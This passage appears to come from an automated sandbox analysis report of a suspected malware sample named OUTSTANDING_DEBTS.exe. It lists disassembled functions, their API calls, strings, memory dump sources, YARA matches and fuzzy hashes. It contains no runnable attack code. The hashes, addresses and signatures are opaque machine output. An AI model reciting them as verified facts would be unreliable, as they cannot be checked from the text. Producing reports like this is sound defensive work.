Uniqueness Score: -1.00%

Function 00C8084A, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00C8159B: _free.LIBCMT ref: 00C815A9

Part of subcall function 00C828F9: WideCharToMultiByte.KERNEL32(00C548CE,00000000,00CA15B0,00000000,00C548CE,00C548CE,00C8F0E5,?,00CA15B0,?,00000000,?,00C8EE54,0000FDE9,00000000,?), ref: 00C8299B

GetLastError.KERNEL32 ref: 00C808B2
__dosmaperr.LIBCMT ref: 00C808B9
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00C808F8
__dosmaperr.LIBCMT ref: 00C808FF

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: d157a4bcacb2bb217a1f8b8fd71338920e9219b73ad94889799582c367f72a90
Instruction ID: b7ceb028839b96d8b40f62de4a373283d72d04a4ac9f15a8901762535f87d6f5
Opcode Fuzzy Hash: d157a4bcacb2bb217a1f8b8fd71338920e9219b73ad94889799582c367f72a90
Instruction Fuzzy Hash: F1212872600609BFEB60BF668C80D2BB7ACFF0536CB244119F83993191D735EE4097A4

Uniqueness

Uniqueness Score: -1.00%

Function 00C81950, Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbe92eaba9a7ea943865ac149de76c7b3fe4d9fd8d748fe3d5343a9d505b4ca7
Instruction ID: 523d154be12b0d32a2674a1177443189d18d362325bc217751876361f93b9398
Opcode Fuzzy Hash: dbe92eaba9a7ea943865ac149de76c7b3fe4d9fd8d748fe3d5343a9d505b4ca7
Instruction Fuzzy Hash: 4421B071204205BFDB24BF66DC80AAAB7ECEF003797184615FD3696151E731ED42A7A4

Uniqueness

Uniqueness Score: -1.00%

Function 00C52DE0, Relevance: 6.1, APIs: 4, Instructions: 81stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00C99564), ref: 00C52E58
lstrcpyW.KERNEL32 ref: 00C52E89
lstrlenW.KERNEL32(00000000), ref: 00C52E98
_swprintf.LIBCMTD ref: 00C52ED9

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$_swprintflstrcpy
String ID:
API String ID: 1928704061-0
Opcode ID: be25a3be5377568022cf85367b3af04213c11c91a1b9b8fae0405f508e63b0a5
Instruction ID: e2e22d82b6c110b3cee2b41c3f6e1e0aa7236a4524f6159bc215e09c54f5853f
Opcode Fuzzy Hash: be25a3be5377568022cf85367b3af04213c11c91a1b9b8fae0405f508e63b0a5
Instruction Fuzzy Hash: D5315C75D00208EFCB08CF98C489AAEB7B5FF48305F10C19DE519AB261D735AB49DB89

Uniqueness

Uniqueness Score: -1.00%

Function 00C7B398, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B39D
_free.LIBCMT ref: 00C7B3FA
_free.LIBCMT ref: 00C7B430
SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B43B

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 9f601b626c011920cd9ef75f236b1127366e600509451f56c6a35cbae51a2122
Instruction ID: dc8f6cefc8e289302876ec8a520101b3fbecbd3d16de9b1d8fb621775c9740c5
Opcode Fuzzy Hash: 9f601b626c011920cd9ef75f236b1127366e600509451f56c6a35cbae51a2122
Instruction Fuzzy Hash: D611A9323406456BD71177B5AC95F3F216A9FC1BB9B388224F53DD71E2EF218D116220

Uniqueness

Uniqueness Score: -1.00%

Function 00C7B4EF, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(-00000004,?,?,00C61D2E,00C7CA94,?,?,00C79D3C), ref: 00C7B4F4
_free.LIBCMT ref: 00C7B551
_free.LIBCMT ref: 00C7B587
SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,?,00C61D2E,00C7CA94,?,?,00C79D3C), ref: 00C7B592

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 55ac4795d2d7fecfa5dfa781284c19f20843320cc9e5c30cbc4b4bb254fd98f8
Instruction ID: 052f89addc0b629caa6134e8b3a337426bc04020b0666834ed52ac764f8f250e
Opcode Fuzzy Hash: 55ac4795d2d7fecfa5dfa781284c19f20843320cc9e5c30cbc4b4bb254fd98f8
Instruction Fuzzy Hash: 6B11E5363002046BC790777AAC85F2F266ADBC5BB9B348228F53DD31D1EB32CE116220

Uniqueness

Uniqueness Score: -1.00%

Function 00C7B240, Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C7B244
_free.LIBCMT ref: 00C7B2C5
SetLastError.KERNEL32(00000000), ref: 00C7B2E6

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 16f7785cb1e1554dc32aa8e0065b3cbe3bd7879f2e8a4fe40ae2ed6e009213d7
Instruction ID: 2ae7bff5193d9c22443e4f1cdcf3210748e9c0efd4dc62fa0fc6ed7ae6cc92ed
Opcode Fuzzy Hash: 16f7785cb1e1554dc32aa8e0065b3cbe3bd7879f2e8a4fe40ae2ed6e009213d7
Instruction Fuzzy Hash: D611D6313062156FD7507BB6ACDAF2F265CEB41BBCB248234F529D20E2EB518E14A264

Uniqueness

Uniqueness Score: -1.00%

Function 004A13AF, Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 004A13CB
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004A13E4

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 41f1b5c0f92d7fa1fbde45e73366624ce76cfca3c203616131b92d4e50e375cc
Instruction ID: e322488fc87d8f6f56728e4f6ae6b5a8be3650b98cbe535efeea6d341be13f0a
Opcode Fuzzy Hash: 41f1b5c0f92d7fa1fbde45e73366624ce76cfca3c203616131b92d4e50e375cc
Instruction Fuzzy Hash: 5A01D83210E3269EA6242B7D7CC59672648EB37775B20033FF920491F2FF595C42A28C

Uniqueness

Uniqueness Score: -1.00%

Function 00C93D93, Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 00C93DAD
GetLastError.KERNEL32 ref: 00C93DB9

Part of subcall function 00C93E70: CloseHandle.KERNEL32(FFFFFFFE,00C93EBA,?,00C91BC9,00C548CE,00000001,00C548CE,00C548CE,?,00C8EB2A,00000000,?,00C548CE,00000000,00C548CE), ref: 00C93E80

___initconout.LIBCMT ref: 00C93DC9

Part of subcall function 00C93E24: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00C93E53,00C91BB6,00C548CE,?,00C8EB2A,00000000,?,00C548CE,00000000), ref: 00C93E37

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 00C93DDD

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 5b66481b660eefa226b45b148b9702181e2b4a14613f776f16506748c93a542a
Instruction ID: f711f507461af4699be0311f5545a6482dc0e6e732d851ea4c27e2de63b5c5fa
Opcode Fuzzy Hash: 5b66481b660eefa226b45b148b9702181e2b4a14613f776f16506748c93a542a
Instruction Fuzzy Hash: 2DF0FE37100580ABCF222B96DC0CB4ABFB7FBCD761B100419F66A82130DB329960DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C93E87, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00C548CE,?,00CA15B0,00000000,00C548CE,?,00C91BC9,00C548CE,00000001,00C548CE,00C548CE,?,00C8EB2A,00000000,?,00C548CE), ref: 00C93E9E
GetLastError.KERNEL32(?,00C91BC9,00C548CE,00000001,00C548CE,00C548CE,?,00C8EB2A,00000000,?,00C548CE,00000000,00C548CE,?,00C8F07E,00C548CE), ref: 00C93EAA

Part of subcall function 00C93E70: CloseHandle.KERNEL32(FFFFFFFE,00C93EBA,?,00C91BC9,00C548CE,00000001,00C548CE,00C548CE,?,00C8EB2A,00000000,?,00C548CE,00000000,00C548CE), ref: 00C93E80

___initconout.LIBCMT ref: 00C93EBA

Part of subcall function 00C93E24: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00C93E53,00C91BB6,00C548CE,?,00C8EB2A,00000000,?,00C548CE,00000000), ref: 00C93E37

WriteConsoleW.KERNEL32(00C548CE,?,00CA15B0,00000000,?,00C91BC9,00C548CE,00000001,00C548CE,00C548CE,?,00C8EB2A,00000000,?,00C548CE,00000000), ref: 00C93ECF

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2c1d6a6e20f312b188fe94749d60a7cfcee1e201f544d06fbd87dd986cbd9ef7
Instruction ID: 1114488a6f1efc3b9dca27ef24a54c6270511f8b834bd0ca8d85f7454f995747
Opcode Fuzzy Hash: 2c1d6a6e20f312b188fe94749d60a7cfcee1e201f544d06fbd87dd986cbd9ef7
Instruction Fuzzy Hash: 52F09836501194BBCF221FA59C0CB9E7E66FB497A1B044055FA2996130DB328A20EB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C784CA, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 355COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00C788CF
_free.LIBCMT ref: 00C78924

Strings

-, xrefs: 00C78772

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID: -
API String ID: 269201875-2547889144
Opcode ID: dc2a0864f5fac7d499958e9ecfc3405ba81b2eb34e6e80151f07728ffcfdbd2c
Instruction ID: c81781165a29dfe0b7810ee8eb33ece1363432ed204d5acc31edb154eebad9d7
Opcode Fuzzy Hash: dc2a0864f5fac7d499958e9ecfc3405ba81b2eb34e6e80151f07728ffcfdbd2c
Instruction Fuzzy Hash: B3C114719402159ADF24AF64CC89BFE73B4EF14354F5480AAEA1DA7181EF309F89CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00490779, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 322COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00490783

Part of subcall function 0048CCE2: __EH_prolog3.LIBCMT ref: 0048CCE9
Part of subcall function 0048CCE2: std::_Lockit::_Lockit.LIBCPMT ref: 0048CCF3
Part of subcall function 0048CCE2: std::_Lockit::~_Lockit.LIBCPMT ref: 0048CD64

_Find_elem.LIBCPMT ref: 004909CE

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 004907FA

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 2544715827-2799312399
Opcode ID: df411ee7188d3068d1a87059f1f1ceb1888137fd4abafb0738d41a87681804b6
Instruction ID: 490cfd8966008d8ea8aa2438db57e70df60011e500df6618bd9db9fa2d7fdad4
Opcode Fuzzy Hash: df411ee7188d3068d1a87059f1f1ceb1888137fd4abafb0738d41a87681804b6
Instruction Fuzzy Hash: 9FC19271D043588EDF21DF68C8817ADBFB2AF15314F5440ABE8896B283CB785D85CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00490B56, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 322COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00490B60

Part of subcall function 0048CD77: __EH_prolog3.LIBCMT ref: 0048CD7E
Part of subcall function 0048CD77: std::_Lockit::_Lockit.LIBCPMT ref: 0048CD88
Part of subcall function 0048CD77: std::_Lockit::~_Lockit.LIBCPMT ref: 0048CDF9

_Find_elem.LIBCPMT ref: 00490DAB

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00490BD7

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 2544715827-2799312399
Opcode ID: cabe3b0566db0db42ef53d4d012122222c7dd955ce98bae3f46502ae2c6f9f67
Instruction ID: 23fbfddedab11836c2148fbdb1d86ed87b44b514525450ac2377edd3fdd7f77d
Opcode Fuzzy Hash: cabe3b0566db0db42ef53d4d012122222c7dd955ce98bae3f46502ae2c6f9f67
Instruction Fuzzy Hash: 0AC1B371D042588EDF25DFA8C8847ADBFB2BF01304F5445ABD889AB282DB785D85CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004AB9F9, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 266COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004ABB65

Strings

-, xrefs: 004ABA95
+, xrefs: 004ABAA2

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 4936ace60c501eb2f0c09c68cc273ae92587ab98632c85dfafc505048b497c57
Instruction ID: 086ef9e352f1fed724d724a152477e71e79d26f93ced7bb71daff06cfc5af4c1
Opcode Fuzzy Hash: 4936ace60c501eb2f0c09c68cc273ae92587ab98632c85dfafc505048b497c57
Instruction Fuzzy Hash: 2C91DA30D041499FCF20CE69C8516EE7BB1EF67320F14865BE865A7396D73899028BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00C62765, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 00C628D0

Strings

+, xrefs: 00C6280B
-, xrefs: 00C627FE

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 9f4db71374f78b7d3cc81b11ccb905e9d264a0f7030505aea790ca5b1bbe2a95
Instruction ID: f3d0341a039c9fc20afaaf838fd0546c2f1750b8f540c35f702680008ed0d717
Opcode Fuzzy Hash: 9f4db71374f78b7d3cc81b11ccb905e9d264a0f7030505aea790ca5b1bbe2a95
Instruction Fuzzy Hash: E391E831D04A599EDF34CF69C8D06FDBBB1EF95320F18825AE8B1A72D1D2308A06DB51

Uniqueness

Uniqueness Score: -1.00%

Function 004BE45D, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 004B361B: _free.LIBCMT ref: 004B3652

_wcschr.LIBVCRUNTIME ref: 004BE5CF
_wcschr.LIBVCRUNTIME ref: 004BE5DD

Strings

Dy@, xrefs: 004BE4D0

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wcschr$_free
String ID: Dy@
API String ID: 4061643932-15957793
Opcode ID: debdb2c0d7586ea4a89d7033b72f6ab7402c9bf7c9316b958dc693d8f1734bcf
Instruction ID: 8b77ecb800fa38c15b9be58a4435142daaa5de86a45f9f3841541293fb08b5ea
Opcode Fuzzy Hash: debdb2c0d7586ea4a89d7033b72f6ab7402c9bf7c9316b958dc693d8f1734bcf
Instruction Fuzzy Hash: E9611871600606AAD725AB37CC42BEB73A8EF94714F10046FF905DB281FB78E95187B9

Uniqueness

Uniqueness Score: -1.00%

Function 004A9870, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 211COMMON

Download Yara Rule

Strings

pow, xrefs: 004A9975, 004A9992

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: pow
API String ID: 0-2276729525
Opcode ID: e3b1e1c3cd6f4b60d5be9649f80d1ce05694d544c85cab0d0d7f5a62eff31b6c
Instruction ID: a303c64bb138c9fad5e36fe1cedc22b9bcf782012a246fcbb59e43047fe4a953
Opcode Fuzzy Hash: e3b1e1c3cd6f4b60d5be9649f80d1ce05694d544c85cab0d0d7f5a62eff31b6c
Instruction Fuzzy Hash: 9F51BBB0908101A6DB15BB19CD413FB7BA4EB61700F21896FE4D5463E9EB3C8C95CA9F

Uniqueness

Uniqueness Score: -1.00%

Function 00485F68, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00485F72

Strings

@, xrefs: 00485F87
@, xrefs: 00485F80

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: @$@
API String ID: 2427045233-149943524
Opcode ID: f497cdc98d2597814a11adbe0b6bf863c4d88b471effe1825a61e47d33773506
Instruction ID: ee4fd81a2b6a048d9af4b6b00a21be7e2bd9f7bcd20dad400b400d5fc0af9497
Opcode Fuzzy Hash: f497cdc98d2597814a11adbe0b6bf863c4d88b471effe1825a61e47d33773506
Instruction Fuzzy Hash: 4E51B0B0C00708AACB10FFA6D989ACEFBB5BF15314F50465FE56563282DB385A45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004801A4, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 004801AB

Strings

@, xrefs: 004801B9
@, xrefs: 004801BD

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: @$@
API String ID: 2427045233-149943524
Opcode ID: f89c1a31681aeaa22e63610e18eed1bedcddc3f34ed1c3266490f1e664b2c26c
Instruction ID: f92ed92c9db5bfd0f421601c8e4ac24b13c196cabc4d12cf62a06b024366651a
Opcode Fuzzy Hash: f89c1a31681aeaa22e63610e18eed1bedcddc3f34ed1c3266490f1e664b2c26c
Instruction Fuzzy Hash: E8517C70820318ABCF14FFA5CD86ADEBB78BF15314F50462EE455A7282DB785A08DF94

Uniqueness

Uniqueness Score: -1.00%

Function 004B0D5B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004B0E66
_free.LIBCMT ref: 004B0E70

Strings

C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe, xrefs: 004B0D92, 004B0D99, 004B0DC8, 004B0E00

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe
API String ID: 269201875-3521313881
Opcode ID: 33731a27c8cb530c38479861e4193e67f8246eb76ddea4452ad14e0a58428188
Instruction ID: 71ad51c0d46c846afb2a9069445b44718c2ba36395ad401a4161643e2ffcb2d1
Opcode Fuzzy Hash: 33731a27c8cb530c38479861e4193e67f8246eb76ddea4452ad14e0a58428188
Instruction Fuzzy Hash: 2F318071A00258AFDB21DF9A9C819EFBBFCEB95311F1040ABF5049B311D6789E41CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00C60DA5, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00C60DCA

Strings

MOC, xrefs: 00C60DDC
RCC, xrefs: 00C60DE4

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 8f348b48bafb648a75d7d8864eaa96c91ec52662b27078a6d6657ffbee06da29
Instruction ID: 3f012455ee9dd0b8b803b78e8f79ecad3d030598364db4b04ab3cbbc843c368b
Opcode Fuzzy Hash: 8f348b48bafb648a75d7d8864eaa96c91ec52662b27078a6d6657ffbee06da29
Instruction Fuzzy Hash: 63418B32900219AFCF25CF94CD81AEE7BB5FF48300F288459F915B7261D3369A61DB90

Uniqueness

Uniqueness Score: -1.00%

Function 004A1AD3, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

CatchIt.LIBVCRUNTIME ref: 004A1BDE

Strings

MOC, xrefs: 004A1B0A
RCC, xrefs: 004A1B12

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Catch
String ID: MOC$RCC
API String ID: 78271584-2084237596
Opcode ID: 323891282e3606efebc628c42dbb95f871ba3b4665a3fff7be35290b70404d06
Instruction ID: bcb79795cf9b6324c1901bf8a98fcddce9116a67ef6027646ee1395c5c0267ad
Opcode Fuzzy Hash: 323891282e3606efebc628c42dbb95f871ba3b4665a3fff7be35290b70404d06
Instruction Fuzzy Hash: A6415971900209AFCF15CF99CD81EEE7BB5FF59304F19405AF90466261E339A960DB64

Uniqueness

Uniqueness Score: -1.00%

Function 0047FABB, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0047FAC2

Strings

<kG, xrefs: 0047FB6A
kG, xrefs: 0047FB1B, 0047FBB4

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: <kG$kG
API String ID: 2427045233-259690590
Opcode ID: 35802d53db0abf957d336c5c17d80e8e41b93bdd5be51d6d73c451daf7f3fb2a
Instruction ID: e1face48ce6cdafba67daf5fec9e86118ddb69b62f272237de733a74d6945970
Opcode Fuzzy Hash: 35802d53db0abf957d336c5c17d80e8e41b93bdd5be51d6d73c451daf7f3fb2a
Instruction Fuzzy Hash: 6341A671D10259ABCF04EFA5C891AEEBBB5BF05354F10812FE855B3241CB786A0DCB95

Uniqueness

Uniqueness Score: -1.00%

Function 00487213, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0048721D

Strings

@, xrefs: 00487238
@, xrefs: 00487234

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: @$@
API String ID: 2427045233-149943524
Opcode ID: 1910a22e70208366c72b4208d2332c2b94e8cfe59228e861259c6a05f42947c6
Instruction ID: d022816c5cc100a6ea101223940f1cf018e589ed328258847531d57c543562ea
Opcode Fuzzy Hash: 1910a22e70208366c72b4208d2332c2b94e8cfe59228e861259c6a05f42947c6
Instruction Fuzzy Hash: 044180B1C043099ACF14FFAAD991ADEBBB5BF14314F10456FE559A3281DB348A45CF24

Uniqueness

Uniqueness Score: -1.00%

Function 0048037D, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00480384

Strings

@, xrefs: 00480395
@, xrefs: 00480399

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: @$@
API String ID: 2427045233-149943524
Opcode ID: 0314bd074694b7ff17ae93b12c7526b73b36774af9141daac29b7e3bcaf25882
Instruction ID: 80e2c82255a6d97ff39b6a59cce6e6e0c63d7e1fca81ffd2a30c4d094d93ecbd
Opcode Fuzzy Hash: 0314bd074694b7ff17ae93b12c7526b73b36774af9141daac29b7e3bcaf25882
Instruction Fuzzy Hash: 41416071D103089EDF54FBB9C981ADEBBB4EF54304F10452FE559E3292EA385A08CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00485AF6, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00485AFD

Strings

@, xrefs: 00485BBB
@, xrefs: 00485B33

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: @$@
API String ID: 2427045233-149943524
Opcode ID: 8cb567a4eac42cf0ba81e911690f9364293b2517a1a9b2b79b9f97d5a527cea5
